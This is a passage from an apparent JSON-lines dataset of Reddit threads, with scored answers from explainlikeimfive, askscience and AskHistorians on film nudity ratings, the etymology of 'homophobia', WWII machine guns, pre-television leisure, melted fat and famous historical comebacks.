already inundated with rain, and mass evacuation would have been very risky.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1qf5ml", "title": "nudity in film", "selftext": "In recent films (2008+), the male genital area is given no censor at all, while that of the female is never seen. Why is this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1qf5ml/eli5_nudity_in_film/", "answers": {"a_id": ["cdc6h2u", "cdc6x6m", "cdcets5"], "score": [9, 6, 3], "text": ["In the documentary This Movie Is Not Yet Rated, it's suggested that it's because the MPAA's standards are very arbitrary and subjective.", "I don't know what movies you're watching but in my experience it's almost the exact opposite.\n\nEDIT; Yes guys, I know there are some movies with dicks. However, _URL_1_ appears to have just shy of 6500 having bush on screen.\n\n[You're welcome.](_URL_0_)\n\n", "The MPAA's ratings have a lot to do with context and anatomy.\n\nA male's genitalia is mainly external, whereas a female's is internal.\n\nNudity that is graphically sexual (like a huge, raging boner dripping with untold passion and fluids) is normally not permitted, while a non-sexual glimpse of a flaccid penis on a standing, nude man in context with the story is fine.\n\nSimilarly, a shot of a woman's bush while she's standing is usually fine, but the reasons for a shot of a spread-eagle women with her vulva gaping open like a sexy saarlac is almost always overly sexual."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.mrskin.com/search/celebs?shown_bush=yes", "Mrskin.com"], []]}
{"q_id": "2ga0wk", "title": "why doesn't 'homophobia' mean 'a fear of things that are the same'? shouldn't it be 'homosexualphobia' or 'orientationism'? and why is 'feminism' positive but 'racism' negative?", "selftext": "EDIT: Please stop telling me that feminism is bad! I meant in the sense that 'feminism' is PRO-female (whether or not you think it's a good idea or \"positive\" in that sense), while racism is implied to be AGAINST a race!\n\nThis was not intended as a debate about the pros and cons of feminism, I used it as an arbitrary example, so let's keep it etymological!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ga0wk/eli5_why_doesnt_homophobia_mean_a_fear_of_things/", "answers": {"a_id": ["ckh21ob", "ckh22aq", "ckh2ctk", "ckh2d5r", "ckh2td8", "ckh5nog", "ckh5v7c", "ckh60ac", "ckh8tsp", "ckh99jg", "ckhasba", "ckhbeps", "ckhbqdc", "ckhd71w", "ckheq4t", "ckhgvbw", "ckhov4c"], "score": [371, 17, 16, 7, 4, 2, 15, 3, 2, 2, 2, 5, 2, 2, 2, 44, 2], "text": ["Homophobia is more just colloquially developed, its not like some linguistically derived term, it's more like 'Chocoholic' it makes no sense. \n\nRacism, Feminism, Totalitarianism, Vegetarianism, Communism, Environmentalism... the 'ism' has no implication of negative or positive. To many people Feminism isn't positive...and to many Communism is positive, and to others its negative... that has nothing to do with the word though. The ism word just embodies the concept you're talking about...the concept itself determines how people react to it. ", "Homophobia is a coined word, so it means whatever the creator (George Weinberg in this case) or traditional use says it means.\n\nAs far as -ism, it is all in context. The suffix -ism itself does not imply something is either good or bad. It merely connotes that it is a practice, style, movement, philosophy, etc, involving the primary word. E.g. liberalism, conservatism, transcendentalism, Buddhism, Judaism, etc.", "I interpreted the question about feminism as \"Feminism is similar to racism in the way it singles out a group of people based only on their genetic makeup. Why is feminism allowed and not banned like racism?\"  \n\nI think the answer would lie in the fact that, at its core, feminism is viewed as an effort to attain equality for both groups.  Unfortunately you will find some who claim they are feminists but their actions are aimed at gaining an advantage at the expense of men's rights. It's similar to affirmative action in that regard. But, aren't many of the questions in ELI5 as easy to obtain as doing a Wikipedia search that is pretty much instantaneous?  It would appear to an observer that some people use the sub to generate discussion about a topic they are trying to promote or complain about.  Keep in mind the rule that states \"Don't post just to express an opinion or argue a point of view.\"  Not that I'm accusing *OP* of that. I hope that helps.", "The use of 'phobia' is a misuse in this sense, as I don't think many people literally FEAR homosexuals like they would spiders or heights; and if they do, it has more to do with a conscious, philosophical objection (religious usually) as opposed to a psychological one (I.e. involuntary clinical disorder) ", "Language and definitions of words change with usage.\n\nIf someone were to claim that words can only mean what they originally meant, or that their roots still define their current meaning, they would be committing an [Etymological fallacy](_URL_0_).\n\nEtymologically, the word \"lady\" used to mean \"loaf-digger\" or \"kneader of bread\". However, that doesn't mean that its current meanings or usages are in any way incorrect.", "Here's the thing about trying to normalize word structure for words with socially created etymologies: the people who coin these terms are generally not linguists or scientists.  They are not concerned with the fact that scientific terms with the Greek etymological prefix \"homo-\" indicate sameness.  The person who coined this term was probably operating on the principle that homosexuals are called \"Homo\" as a slang term, so fear of them would, logically to them, be called \"homophobia\".  There is no department or society or group that looks at new English words and decides whether or not they make sense or follow proper patterns or are confusing, so people are free to use words however they want, and that's what sticks.\n\nSo if homophobia didn't already have an accepted social definition, then yes, it would mean fear of sameness.  If that was a real phobia, I'm sure someone would have coined the phrase for that.  Now it's too late.", "Also, RE: words that end in \"-holic\":\n\nThis doesn't make \"sense\" from a purely historical etymology standpoint.  \"Alcoholic\" means someone who is addicted to alcohol.  so the suffix is not \"-holic\", it's just \"-ic\".  But if you had called someone a \"chocolateic\" or a \"workic\" or a \"sexic\" it's not really immediately obvious that it would be the same suffix.  Think of \"tantric\" which means of or relating to the tantras.\n\nSo at some point someone decided that the easiest way to indicate the same condition for other substances would be to use more of the original word's pattern.  So you get chocoholic, workaholic, sexaholic, etc.  But \"-holic\" doesn't actually mean anything without that socially accepted pattern.", "[Wikipedia is handy here](_URL_0_):\n\n >  Coined by George Weinberg, a psychologist, in the 1960s, the term homophobia is a blend of (1) the word homosexual, itself a mix of neo-classical morphemes, and (2) phobia from the Greek \u03c6\u03cc\u03b2\u03bf\u03c2, Ph\u00f3bos, meaning \"fear\" or \"morbid fear\". Weinberg is credited as the first person to have used the term in speech. The word homophobia first appeared in print in an article written for the May 23, 1969, edition of the American pornographic magazine Screw, in which the word was used to refer to heterosexual men's fear that others might think they are gay.\n\n >  Conceptualizing anti-LGBT prejudice as a social problem worthy of scholarly attention was not new. A 1969 article in Time described examples of negative attitudes toward homosexuality as \"homophobia\", including \"a mixture of revulsion and apprehension\" which some called homosexual panic. In 1971, Kenneth Smith used homophobia as a personality profile to describe the psychological aversion to homosexuality. Weinberg also used it this way in his 1972 book Society and the Healthy Homosexual, published one year before the American Psychiatric Association voted to remove homosexuality from its list of mental disorders. Weinberg's term became an important tool for gay and lesbian activists, advocates, and their allies. He describes the concept as a medical phobia:\n\nSo there you go.  The etymological origins are straightforward and well-documented.  It's not homosexualphobia because that's a really awkward word to say, so abbreviating it to homo- makes sense from a language perspective.  However, it's original use was different initially in the public sphere before *Time* related the word to antipathy towards gay people.", "This is why homophobia is being slowly replaced with the word \"heterosexism\" or the phrase queer antagonism (though this is more broad in its meaning). It's just one of those historically-rooted words whose meaning is not immediately linked to its structure. ", "You know, by complete accident, 'homophobia' can be understood to have a pithy etymology. Even though it's a clunker that mixes Greek and Latin (so does 'television,' but that's no excuse,) its two parts -- 'same' and 'fear' -- really do describe the condition pretty well. Homophobes are people who are afraid of having the same desires as gay people.", "I can't say for homophobia, but when it comes to 'feminism' and 'racism', they are only similar in the sense that racists sorts people in accordance to their race and feminists in accordance to their gender. However, the difference is that while racists uses race as an argument to separate people, feminists uses gender as an argument to reduce the gap and create equality. The terminology may be similar, but the reasoning is as different as it possibly could be.\n\nOf course there are feminists that you could say almost share the views of racists and make statements like \"I hate men!\", but they are far from the average feminist. They are just the loudest ones (and often the most widespread due to people sharing their posts to show 'how stupid feminists are').", "It's because Homophobia isn't a scientific term, it's a buzz word.", "Shouldn't racism be ethnicism?", "I'm not a homophobe, I'm heterophilic.", "It's not a genuine phobia to begin with.  ", "This is an example of what linguists call the \"noncompositionality of word-formation.\"  That's technicalese for \"the meanings of compound words are not generally predictable from the meanings of the parts,\" which is the general rule in language.  The easiest way to illustrate this is with word jokes (which I've copied from [a random corner of the internets](_URL_0_)):\n\n* Why do overlook and oversee mean opposite things?\n* Why do flammable and inflammable mean the same thing?\n* There's no egg in eggplant, no ham in hamburger, and neither apple nor pine in pineapple.  \n* English muffins weren't invented in England, nor French fries in France.\n* Sweetmeats are candies; sweetbreads (which aren't sweet) are meat.\n* Quicksand swallows things slowly, boxing rings are square, and Guinea pigs are neither from Guinea nor pigs.\n* Writers write but fingers don't fing, grocers don't groce and hammers don't ham.\n* If vegetarians eat vegetables, what do humanitarians eat?\n* Driveways are for parking, but parkways are for driving.\n* A slim chance and a fat chance are the same thing, but a wise man and a wise guy aren't.\n\nIt's easy to multiply examples here.  (Just one more: Pluto was in recent years reclassified as a \"dwarf planet\"\u2014which means that it's not a planet.)  Your expectation that a word should mean what the combination of its parts mean just doesn't hold up to evidence.", "i'm also pretty sure that hemophiliacs don't actually enjoy bleeding to death from paper cuts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Etymological_fallacy"], [], [], ["https://en.wikipedia.org/wiki/Homophobia#Origins"], [], [], [], [], [], [], [], ["http://books.google.com/books?id=T-tklZ1Z_bQC&amp;lpg=PA228&amp;ots=FNGAtdTSBj&amp;dq=jokes%20inflammable&amp;pg=PP1#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "221kcb", "title": "Truth in Propaganda; WWII Training Film on American Machine Guns vs German Equivalents", "selftext": "_URL_0_\n\nThis is obviously training propaganda intended to put new soldiers at (relative) ease about the sound and rate of fire of German guns. I'm curious about what bits of truth might have slipped through. In particular:\n\n1) Is the accuracy of the submachine guns (the \"Schmeisser\" (MP38 or 40), the Thompson, and the M3) portrayed truthfully? Is the rate of fire of each indeed comparable?\n\n2) Was the decision to tradeoff caliber size for more ammo for machine guns a deliberate choice, or is it a post hoc justification?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/221kcb/truth_in_propaganda_wwii_training_film_on/", "answers": {"a_id": ["cgik5fe"], "score": [6], "text": ["You are quite correct that this is one of several training films that were made it's a way if trying to prevent US soldiers from being intimidated by German weapons, especially the MG42, sometimes called \"Hitlers Buzzsaw\" which had a rate of fire about twice that of the equivalent US machine guns of the day, the m1917 and m1919.  I'm betting that the guys over in /r/guns would love to take a crack at this but I can offer a few comments.  As someone who has worked in the propaganda (advertising and marketing being the civilian term) these films fascinate me.\n\n1.) The Thompson has a slightly higher rate of fire then the Schmeisser, I believe 700 rounds per minute vs about 500 for the Schmeisser.  Not a huge difference but still something.  They both had similar magazine capacity, 30 rounds for the Thompson and 32 rounds for the Schmeisser.  The Thompson was obviously much heavier, which is not necessarily a bad thing who you consider the size round it uses.  The shmeisser was lighter and cheaper to make, which can have some effect on how easy it is to damage in combat but overall both had reputations for being pretty rugged.  The M3 was intended to be a cheaper alternative to the Thompson, using the same .45 Acp round but much lest costly to produce.  However, it did not see much action in ww2 compared to the Thompson so it's effect on the battlefield is negligible.  The.45 and 9mm rounds are both very accurate rounds in the hands of someone who knows how to use them.  When fired from sub machine guns they both have similar effective ranges although the .45 is going to have more kick, making a gun chambered for that round a little bit more difficult to control.  But again that is where the thompsons extra weight can help.  The .45 is also going to have more knockdown power then the 9mm although the 9mm is no slouch either.  There are arguments both ways which is actually the superior weapons but in response toy  our question yes they did have similar rates of fire and accuracy.\n\n2.) the machine guns are also an interesting and debatable comparison.  The Germans were chambered in the classic 7.92x57mm Mauser, commonly known as the 8mm Mauser.  American machines guns mostly used the 30-06 also commonly known as the .30 caliber or m2 ball ammunition.  They are similar size rounds with similar performance although the 30-06 is generally seen as a little better overall.  But if you consider that both are still used in hunting and sporting to this day, that says something about their quality.  The big difference between the American and german guns was the rate of fire.  Mg42s were just insanely fast compared to the .30 caliber guns.  The thinking was that in combat you only get a limited amount of time to fire so why not make sure you are putting out as many rounds as possible in that window.  Aside from needing to carry more ammo to support the increased rate of fire there is the possibility of heating up and burning out the barrel on the mg42.  But this was usually prevented by the ease that the barrel could be changed out on the mg42.  A competent machine gun crew could change out the barrel as fast as they could change to a new belt of ammo.  In terms of accuracy, machine gunners are usually trained to fire in short bursts so that they can \"walk\" the rounds onto the target and keep the gun from getting ou to f control.  Obviously a gun with twice the rate of fire is going to take a little bit more control to limit the bursts to 3 or 4 rounds.  If you notice on the film the .30 caliber guns were being fired in short bursts, while the german guns were being given much longer bursts, or with the mg42 it looked like pretty much one long burst. Soooo of course the german ones were a little less accurate.\n\nSo in short, good questions!  And I know there are people on here with pretty significant knowledge about the specifics in the ammo and all that.  I do love these old training films, they are classic examples of American propaganda.\n"]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=35R2WENXMl8"], "answers_urls": [[]]}
{"q_id": "6if67f", "title": "what did families do with there spare time before the introduction of tvs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6if67f/eli5_what_did_families_do_with_there_spare_time/", "answers": {"a_id": ["dj5qchb", "dj5qdyg", "dj5qnyk", "dj67sz6"], "score": [9, 13, 10, 3], "text": ["There was radio, phonographs, toys, puzzles, games, crafts, musical instruments, and believe it or not, books and conversation. ", "They spent time together. My dad talks about how his family used to sing, play sports, paint, cook, garden, read, etc. together. Basically, families used to do things together that families can do now.", "First off, life had a lot less leisure time in general, as tasks like washing clothes/dishes was all manual. And shopping for food, etc. needed to be done virtually daily since there weren't processed foods with preservatives or good refrigeration. And people worked more before the advent of the traditional 40 hour week, which wasn't too long before TV came along. But they also had radio, visiting with friends/family, playing music, reading, hobbies.", "Try reading the Little House on the Prairie book series.  They have a lot of examples of how people passed their leisure time back in the late 1890s.  They played violin, went swimming, and also ice skating"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1we7c2", "title": "Why is melted fat clear, whilst solid fat is not?", "selftext": "We've all seen this - when you put a burger on the grill, the fat that comes off it clear, but once you're turned the grill off and let things cool, the fat solidifies as a whitish mass.\n\nMy thought is that it's due to the solidified fat having a fairly rough surface, and hence reflecting light in a diffuse manner, whilst the melted fat has a smooth surface and does not reflect as highly - similar to how putting sellotape on a frosted window will make it clear, or wet paper becoming transparent. Is this the case, or is it a different effect?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1we7c2/why_is_melted_fat_clear_whilst_solid_fat_is_not/", "answers": {"a_id": ["cf1b19s"], "score": [15], "text": ["Its to do with scattering of light, which is also why sand and milk is white. Fat crystallizes when it solidifies, the boundaries between crystals  and the noncrystalline regions scatter the light (you get bending of light at any boundary where the refractive index changes). When fat is melted there are no crystals, and no scattering"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1996ka", "title": "Tuesday Trivia | Great (and not so great) comebacks", "selftext": "Previously:\n\n* [For want of a nail...](_URL_7_)\n\n* [Legal cases and court rulings](_URL_0_)\n\n* [If I Were A Rich Man](_URL_1_)\n\n* [The Good Old Days](_URL_5_)\n\n* [Best Friends Forever!](_URL_2_)\n\n* [Notable Rivals and Enemies](_URL_4_)\n\n* [Famous Historical Controversies](_URL_3_)\n\n* [Click here](_URL_6_) for the last Trivia entry for 2012, and a list of all previous ones.\n\n***\n\nToday, 26th February, is the anniversary of Napoleon Bonaparte's escape from Elba - after which he returned, celebrated, to rule France again as Emperor. The other European powers put their all into defeating him (again!), and brought him down at Waterloo. But, for one hundred days, he was back in power after having been defeated and exiled.\n\nWhat other great (or not so great!) comebacks have there been? Who was out for the count, but came back bigger and better than ever? Who tried to come back, but met their Waterloo (ha!)?\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1996ka/tuesday_trivia_great_and_not_so_great_comebacks/", "answers": {"a_id": ["c8lx027", "c8lyln8", "c8lyps6", "c8lzmz3", "c8m002d", "c8m09c5", "c8m1gc6", "c8m1m74", "c8m4igu", "c8mbeog", "c8mfrsp"], "score": [32, 34, 22, 14, 17, 12, 8, 9, 5, 9, 10], "text": ["[Lord Cochrane](_URL_0_) Britain's most talented sailor was controversially found guilty in a Stock Exchange scandal, sent to prison, sacked from the Royal Navy and left with his reputation in tatters.\n\nHe later went on to serve as commander of Chile's Navy in their War of Independence against the Spanish, where he masterminded some spectacular victories. He then went on to do the same with the Brazillian and Greek navies in their respective independence wars, returning to England as a hero with his honour (and honours) restored. ", "A serious contender for all-time comeback king has to be Santa Anna, who rose from a Spanish officer to become a hero of the Mexican Empire, and then president of the Republic of Mexico *ten times* (although, technically that last round he was actually dictator-for-life His Most Serene Highness). \n\nIn one of his periodic exiles in 1846, Santa Anna convinced the United States that if he were president, he'd defuse the war and sell the southwest for a reasonable price. Once an American warship ferried him back to Mexico, he persuaded the army to rally behind him, declared himself president, and gave the Americans the finger. ", "The Jacobites are just about perfect for this category, aren't they? To be clear, I'm looking at the Scottish Jacobites over time and leaving out the Irish and English ones almost completely (not to downplay them, but I really know very little about them).\n\nBasically, James II and VII of England and Scotland lost his throne in the Glorious Revolution of 1688 for multiple reasons, not the least of which was his Catholicism and the birth of a Catholic male heir. The throne went to his Protestant daughter Mary and her husband William and James and his family fled to France when his son and heir was just three months old--James himself actually came later than his wife and son, to be clear.\n\nThis son, James Francis Edward, would spend the majority of the rest of his life trying to reclaim his throne. In his youth, he was called Roving Jamie by the Jacobites, romanticized almost as badly as his own son later; toward the end of his life, he became Old Mr Misfortunate.\n\nThe Jacobites tried multiple times to get James back on the throne: Graeme's short-lived rising in 1689, the Williamite War in Ireland around the same time, the 1715 Jacobite Rising, an aborted attempt in 1719 that saw a few skirmishes, and the final nail in the coffin of the Jacobites, 1745. \n\nI won't go into a lot of detail on the '45 Rising, but suffice it to say that it started a bit like a bad joke. James Francis Edward's son, Charles Edward (often called Bonnie Prince Charlie) led this one with very little foresight. A conversation between Mr Hugh MacDonald and Kinlochmoydart is given in notes from Bishop Forbes in *The Lyon in Mourning* (taken on June 15, 1750, or five years later) which is quite telltale.\n\n > \"[...]What number of men has be brought along with him?\"\n\n > \"Only seven,\"  said Kinlochmoydart.\n\n > \"What stock of money and arms has he brought with him then?\" said Mr. Hugh.\n\n > \"A very small stock of either,\" said Kinlochmoydart.\n\n > \"What generals, or officers fit for commanding, are with him?\" said Mr. Hugh.\n\n > \"None at all,\" replied Kinlochmoydart.\n\nSo what *did* the Prince bring with him? Half a ship of brandy. \n\nIn spite of this, a large number of Jacobites rallied around him and they marched on and captured Edinburgh. James III and VIII was proclaimed. Then, following a series of spectacularly bad decisions, the whole thing fell apart in a matter of a couple months. The Jacobites attempted to march to London and were forced to retreat back to Scotland, further and further north until they were finally defeated at Culloden.\n\nAfter that, James Francis Edward gave up and Charles turned to drink. In spite of that, the Jacobite succession continues to this day (comically, the current \"King\" thinks it's a joke himself) and was considered a legitimate threat to the British crown up to the 20th century. It's only in recent years that water bowls have been allowed back at royal banquets, to prevent the old Jacobite habit of toasting \"the King over the water\" (raising their glass over water when toasting the King to signify they meant the *other*, Jacobite, King).", "Well, there goes my first choice! \n\nTo go along with the theme of the Hundred Days, the Coalition also had a fairly significant comeback. Two days prior to the Battle of Waterloo, the Battles of Quatre Bras and Ligny took place. The former was fought between the French under Marshal Michel Ney's command against the British, Dutch and other minor members of the Coalition. The latter was Napoleon's own force fighting against the Prussians.\n\nThough the French were ultimately victorious, Napoleon failed to fully take advantage of the situation, and the Allies were able to come together two days later at Waterloo. Famously, Marshal Grouchy and his approximately thirty thousand French soldiers spent the day trying to pursue the Prussians. His failing to do so was a major factor in Napoleon's defeat at Waterloo.", "The [Mori clan](_URL_2_) was on the wrong side of things in the final stages of Japan's Warring States period. Even though they did undermine their own side and allow the Tokugawa to win, they were still technically enemies and they were deprived of a lot of their traditional land and their holdings were moved to a relatively poor area. \n\nThey were more than a little pissed about this, as they'd thought they were switching to the winning side.. only to have the winning side treat them like crap. They harbored this resentment for literally hundreds of years--every time they had a meeting of the elders and daimyo, they would ask him if it was time to overthrow the Shogunate yet, and he'd say \"nope.\" Finally, the descendants of the guys who got shafted 260 years ago said \"yup,\" and formed the core of the Imperialist military and political forces in the Boshin war that forced the Meiji Restoration. \n\nCompleting their comeback, a bunch of hayseed samurai from a relative backwater got posts in the new government of a blossoming world power like [prime](_URL_1_) [minister](_URL_3_), [minister of War](_URL_4_), and [minister of public works](_URL_0_). Not too shabby.", "Richard Nixon comes to mind.  After being Eisenhower's VP for 8 years, he unsuccessfully ran for president against John F. Kennedy in 1960.  Then in 1962, he ran for governor of California against incumbent Pat Brown (father of current California Governor Jerry Brown) and lost that as well.  This loss prompted the famous line from Nixon to the media: \"You won't have Dick Nixon to kick around anymore because, gentlemen, this is my last press conference.\" ABC's show *Howard Smith: News and Comment* even aired an episode entitled \"The Political Obituary of Richard M. Nixon.\" \n\nAnd as we all know he came back in 1968 and won the presidency.  ", "Hitler! No seriously. Man this guy pops up for everything!\n\nWhen Hitler first got involved with the Nazis in the early 1920s he engineered the failed Beer Hall Putsch. The guy single-handedly lead a failed revolution in Munich. Dozens of people are killed and what happens? He goes to jail for less than a year! This is the literal definition of treason and many other countries would have had someone in his position executed. (As an aside, if there is any more powerful indictment against the ineptitude of the Weimar (not Wehrmacht) Republic I can't think of one.) \n\nAnyway, Hitler gets out and the rest is history. \n\nEdit: brain fart", "Winston Churchill was generally thought to be a has-been [between 1929 and 1939](_URL_0_): estranged from his own party and mainly remembered for the disastrous Dardanelles campaign.  \n\n", "Not as dramatic as others but the Australian Prime Minister Menzies.\n\nHe was the Prime Minister of Australia when WW2 broke out having been sworn in as PM in April, 1939.  However, he spent quite a lot of time in the UK during the early years of WW2 and his support at home crumbled, both in the public eye and those of his party, and in August,1941 he was forced to resign. He was moved to the back bench (a nobody).\n\nIn 1945 Menzies founded the Liberal Party and in 1949 gained control of the Lower House and became Prime Minister for a second time which he held until he resigned in 1966.  He is Australia's longest serving Prime Minister.\n\n", "[John Tyler,](_URL_0_) President of the United States. He was elected at William Henry Harrison's Vice President, but Harrison died in office after the shortest presidency to this day. This was the first time this had happened, and there was some debate as to whether Tyler would become full President or acting President. Tyler argued it was the former. He proceeded to make himself even more unpopular by vetoing the bills of the Whig Party of which he was a part. Most of his cabinet resigned, and he was kicked out of the party. Having alienated both Whigs and Democrats, he was unable to run for a second term. His main legacy was arranging the annexation of Texas.\n\nHe retired from politics and became a farmer. However, he was make a comeback in the 1860s, two decades later. He was from Virginia, and reappeared in politics in the turmoil over secession after Lincoln's election. He was the chairman of the Peace Conference of 1861 which called the \u201cOld Gentleman\u2019s Convention\u201d because of all the old politicians who made a reappearance. This Conference did nothing to stop the war as the states which had already seceded did not appear, and the proposals suggested were rejected by Congress.\n\nTyler returned home to become a proponent of secession, believing that all hope of compromise was gone. He got his wish after the Battle of Fort Sumter, and Tyler was elected to the Confederate House of Representatives. However, he died before he could take his seat. Since he had gone with the Confederacy, his death was the only one in US history not to be officially recognized by Washington.\n\nAn interesting side note - Tyler had the most children of any president. Some of these were had late in life, and at least one of his sons did the same, so he still had two grandchildren alive. A few years ago I was able to visit Sherwood Forrest, Tyler's home, and meet Harrison Tyler, who still lives there. It puts things in a different perspective when you meet a man whose grandfather may have met the founding fathers.\n", "Nezahualcoyotl is the name that immediately springs to mind for Mesoamerica, but a little setup is probably needed first.\n\n**Background**\n\nThe Valley of Mexico immediately before the Aztec^tm was dominated by the Tepanecs, another Nahuatl speaking group based in Aztcapotzalco on the western shores of the valley lakes ([the map will be helpful](_URL_0_)). By the start of the 15th Century they had established dominance over the whole of the western half of the Valley of Mexico and were a constant menace to the Chalcans in the southern part. On the other side of the lakes, however, were another Nahuatl group, the Acolhua, who had similarly established their own dominance over the eastern shores. They were too powerful to assault outright, so the Tepanec adopted a strategy of slowly away at their allied support, turning them against the Acolhua. Where were the Mexica of Tenochtitlan in all this, the people we now think of as synonymous with the  Aztecs? Feared vassals of the Tepanecs, that's were.\n\nWith the scene set, here are the players:\n\n- *Tezozomoc*: Lord of the Tepanecs, *Tlatoani* (lit: Speaker, but usually translated as King) of  Aztcapotzalco; pursuing an aggressive imperial policy.\n\n- *Ixtlilxochitl*: Lord of the Acolhua, Tlatoani of Texcoco; heir to the distinguished Chichimec tradition, but rapidly losing the support of allies.\n\n- *Chimalpopoca*: Tlatoani of the Mexica of Tenochtitlan, the vassals and feared elite troops of the Tepanecs.\n\n**Valley of Mexico Wars**\n\nEverything came to a head in AD 1417 (roughly) when Ixtlilxochitl made a move to counteract the growing power of Tepanecs. Proclaiming himself *Teuctli Chicimeca* (Lord of the Chichimecs, a kind of Holy Roman Emperor sort of title), he urged the Mexica to join in an attack against the Tepanecs. This wasn't entirely a crazy idea, Ixtlilxochitl had previously married the daughter of Chimalpopoca in order to bring the two groups closer together.\n\nThe Mexica knew which way the wind was blowing though, and Ixtlilxochitl's efforts could not undermine the immense goodwill Tezozomoc had banked with them; they spurned the Acolhua offer and joined the Tepanec in war. During the siege of Texcoco, discontent was apparently so high that defectors turned on Ixtlilxochitl forcing him to flee the city. He was shortly seized though, and put to death. Some version of the story (the more fanciful ones), have his young son, Nezahualcoyotl, witnessing his death. Regardless, Nezahualcoyotl was hurried away to the Tlaxcalan cities and Texcoco was put under the authority of the Mexica.\n\n**The Tepanecs Strike ~~Back~~ First**\n\nWhile the the defeat of the Acolhua, the Tepanecs were the undeniable power in the Valley of Mexico. Peace, as you might have guessed, was not to last. Tezozomoc, who had led the Tepanecs for more than 50 years, finally passed away in 1426 (again, roughly, depends on interpretation of Mesoamerican calender dates). His chosen successor, Tayuah, was swiftly done away with by his brother Maxtla, who assumed the throne. While Tezozomoc had been a great friend to the Mexica, Maxtla saw them as his last remaining rival in the region (the Chalcan, while stubborn and entrenched, were never a threat). There are conflicting stories as to whether Maxtla brazenly sent assassins to murder Chimalpopoca and his son, or did it covertly, but the end result was that the leader and heir to Tenochtitlan ended up dead and everyone knew who was responsible.\n\nFortunately for the Mexica, they had some of their most dynamic leaders waiting in the wings. Itzcoatl was elected as Tlatoani, supported by his relative Motecuhzoma Ilhiucamina (who would later succeed him) and his brother Tlacaelel (who would serve as High Priest and power behind the throne for the next 60 years). With Maxtla unpopular and even seen as illegitimate, he was not able to rally enough forces to conquer the easily defensible Tenochtitlan, but neither were the Mexica powerful enough to launch an offensive from their island. \n\n**Return of the Starving Coyote**\n\nInto the this stalemate steps Nezahualcoyotl (whose name, by the way, means Starving/Hungry Coyote), returning from Tlaxcala with troops at his back and restive Acolhua lands to his front. With Tlaxcalan and Mexica aid, Nezahualcoyotl swiftly led an uprising to toss out the Tepanec appointed rulers and re-established proper Acolhua rule over the eastern lake shores. \n\nWith their rear now subdued and with the addition of the a new powerful ally, the Mexica officially declared war on the Maxtla. Or more precisely, they officially sued for a peace they knew would not be granted, then officially declared war when it was not. The more romantic versions of the history have Tlacaelel daringly presenting both the peace offering, then ritually smearing Maxtla's forehead with pitch and feathers before presenting him with weapons (i.e.  formally declaring war) before making a dashing escape. Since Tlacaelel is thought to have done some \"revisions\" to Mexica history later, this story may be somewhat suspect. \n\nNote that I said war was declared on Maxtla, not the Tepanecs. With the Mexica bolstered by the Acolhua, another son of Tezozomoc, Totoquihuaztli, the Tlatoani of Tlacopan, stepped forward to join the rebellion and put forth his own claim to the being lord of the Tepanecs. The histories report that, even with vanishingly few allies, Maxtla was still able to hold out in Aztcapotzalco for a few months before the city finally fell in 1428. He himself fled, as Ross Hassig puts it, \"to Tlachco and obscurity.\" The victorious Tlatoque then formally established an alliance, with Nezahualcoyotl taking up the ancient title of Teuctli Chichimeca, and Itzcoatl and Totoquihuaztli also taking official titles. Together they agreed to mutual social and political ties, and to assist each other in battle, with Tenochtitlan and Texoco each claiming 2/5 of any spoils of war and Tlacopan taking the remaining 1/5. Thus the Aztec Triple Alliance, better known as the Aztec Empire, was born.\n\n**Bonus Features**\n\nNezahualcoyotl didn't just go from exiled prince who watched his father get executed (maybe) to one of the co-rulers of arguably the most influential forces in Mesoamerican history. In his 40+ years ruling Texcoco he transformed the city into the preeminent center for arts and learning in Post-Classic Mexico. He also was responsible for reforming and codifying the legal system that would come to formally dominate the Aztec Empire. In between promoting the arts and reforming the social order, he also led Acolhua troops in Aztec military campaigns. Yet he also somehow found the time to build a dam across Lake Texcoco, separating the brackish waters of the East from the fresher waters in the West, greatly contributing to Tenochtitlan's population explosion. [Did I mention he is also considered one of the most influential and accomplished Nahuatl poets?](_URL_1_)"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/comments/18dc4o/tuesday_trivia_legal_cases_and_court_rulings/", "http://www.reddit.com/r/AskHistorians/comments/17y14l/tuesday_trivia_if_i_were_a_rich_man/", "http://www.reddit.com/r/AskHistorians/comments/171l9q/tuesday_trivia_best_friends_forever/", "http://www.reddit.com/r/AskHistorians/comments/166nsa/tuesday_trivia_famous_historical_controversies/", "http://www.reddit.com/r/AskHistorians/comments/16ml9z/tuesday_trivia_notable_rivals_and_enemies/", "http://www.reddit.com/r/AskHistorians/comments/17hgls/tuesday_trivia_the_good_old_days/", "http://www.reddit.com/r/AskHistorians/comments/152e4i/tuesday_trivia_overrated_underrated_generals/", "http://www.reddit.com/r/AskHistorians/comments/18sys6/tuesday_trivia_for_want_of_a_nail/"], "answers_urls": [["http://en.wikipedia.org/wiki/Thomas_Cochrane,_10th_Earl_of_Dundonald#The_Great_Stock_Exchange_Fraud"], [], [], [], ["http://en.wikipedia.org/wiki/Inoue_Kaoru", "http://en.wikipedia.org/wiki/Yamagata_Aritomo", "http://en.wikipedia.org/wiki/Choshu_han", "http://en.wikipedia.org/wiki/It%C5%8D_Hirobumi", "http://en.wikipedia.org/wiki/%C5%8Cmura_Masujir%C5%8D"], [], [], ["http://en.wikipedia.org/wiki/Winston_Churchill_in_politics:_1900-1939#Political_isolation"], [], ["http://en.wikipedia.org/wiki/John_Tyler"], ["http://www.latinamericanstudies.org/aztecs/valley-of-mexico.jpg", "http://www.famsi.org/research/curl/nezahualcoyotl_intro.html"]]}
